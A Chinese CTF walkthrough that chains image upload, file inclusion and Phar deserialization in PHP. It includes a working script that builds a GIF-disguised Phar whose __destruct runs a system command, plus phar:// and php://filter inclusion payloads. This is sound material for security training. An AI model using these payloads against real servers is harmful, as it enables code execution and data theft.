CTF 实战|Phar 反序列化 + 文件上传 + 文件包含漏洞组合拳详解
·
📌 题目背景分析
你现在遇到的是一个典型的文件上传 + 文件包含 + Phar 反序列化组合漏洞:
- 页面有图片上传功能(允许上传 gif 等图片格式)
- 有一个
sha1计算功能,可能会触发文件操作函数(如file_exists()),这类函数支持phar://协议,会触发 Phar 包内的反序列化。 - 你提到的
php://filter/resource=phar://upload/evil.gif是文件包含中读取 / 解析上传的 Phar 文件的 payload 格式。
🛠️ 完整利用步骤
步骤 1:生成恶意 Phar 文件(改后缀为 gif)
首先,我们需要构造一个包含恶意序列化数据的 Phar 包,同时伪装成 GIF 图片绕过上传校验。
- 新建
evil.php文件,写入以下代码:
php
运行
<?php
// 1. 定义反序列化后要执行的类
class Evil {
public function __destruct() {
// 这里写入你要执行的PHP代码,比如读取flag
system('cat /flag');
// 或者读取当前目录下的flag.php文件
// echo file_get_contents('flag.php');
}
}
// 2. 生成Phar文件
@unlink('evil.phar'); // 先删除旧文件
$phar = new Phar('evil.phar');
$phar->startBuffering();
// 3. 构造GIF文件头(绕过图片校验,GIF89a)
$stub = "GIF89a<?php __HALT_COMPILER(); ?>";
$phar->setStub($stub);
// 4. 序列化恶意对象,存入Phar的metadata
$obj = new Evil();
$phar->setMetadata($obj);
// 5. 添加一个无关文件(Phar包必须至少包含一个文件)
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
// 6. 重命名为evil.gif,伪装成图片
rename('evil.phar', 'evil.gif');
echo "生成恶意Phar文件 evil.gif 成功!";
?>
- 在 PHP 环境中运行这个脚本(需要修改
php.ini中的phar.readonly = Off,否则无法生成 Phar 文件):
bash
运行
php evil.php
运行后会生成 evil.gif 文件,它既是合法的 GIF 图片(有 GIF89a 文件头),又是合法的 Phar 压缩包。
步骤 2:上传 evil.gif 到靶场
在靶场的上传页面,选择生成的 evil.gif 文件,点击上传。 上传成功后,服务器会返回文件路径(通常是 /upload/evil.gif 或类似路径,和你 payload 里的路径一致)。
步骤 3:构造文件包含 Payload 触发漏洞
你提到的 php://filter/resource=phar://upload/evil.gif 思路,需要结合题目中的文件包含点使用。常见的两种触发方式:
方式 A:直接在文件包含参数中使用 phar 协议
如果文件包含点是之前的 ?file= 参数,直接构造:
plaintext
?file=phar://upload/evil.gif/test.txt
phar://upload/evil.gif是 Phar 文件的路径/test.txt是 Phar 包内的文件(我们之前添加的无关文件,必须存在) 当 PHP 解析这个路径时,会读取evil.gif并触发其 metadata 中的反序列化,执行我们写的__destruct()代码。
方式 B:结合你给的 php://filter 格式(部分场景需要)
如果题目限制了必须用 php://filter 伪协议,可以组合使用:
plaintext
?file=php://filter/read=convert.base64-encode/resource=phar://upload/evil.gif/test.txt
不过大多数情况下,直接用 phar://upload/evil.gif/test.txt 即可触发反序列化,不需要额外加 filter。
步骤 4:触发反序列化获取 flag
- 访问上述 Payload 对应的 URL,服务器会执行
__destruct()中的代码。 - 如果是
system('cat /flag'),会直接输出 flag 内容;如果是读取文件,需要根据输出结果处理。
💡 关键说明与避坑
- 必须设置
phar.readonly = Off:否则无法生成 Phar 文件,这是最常见的坑。 - GIF 文件头必须加:如果题目有图片类型校验(如检查文件头),不加
GIF89a会上传失败。 - Phar 包内必须有文件:
phar://协议后面必须指定包内存在的文件(哪怕是无关的 txt 文件),否则无法触发。 - 路径必须正确:上传后的文件路径要和 payload 里的一致,比如有的题目会重命名文件为
123.gif,需要先通过上传返回信息确认路径
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)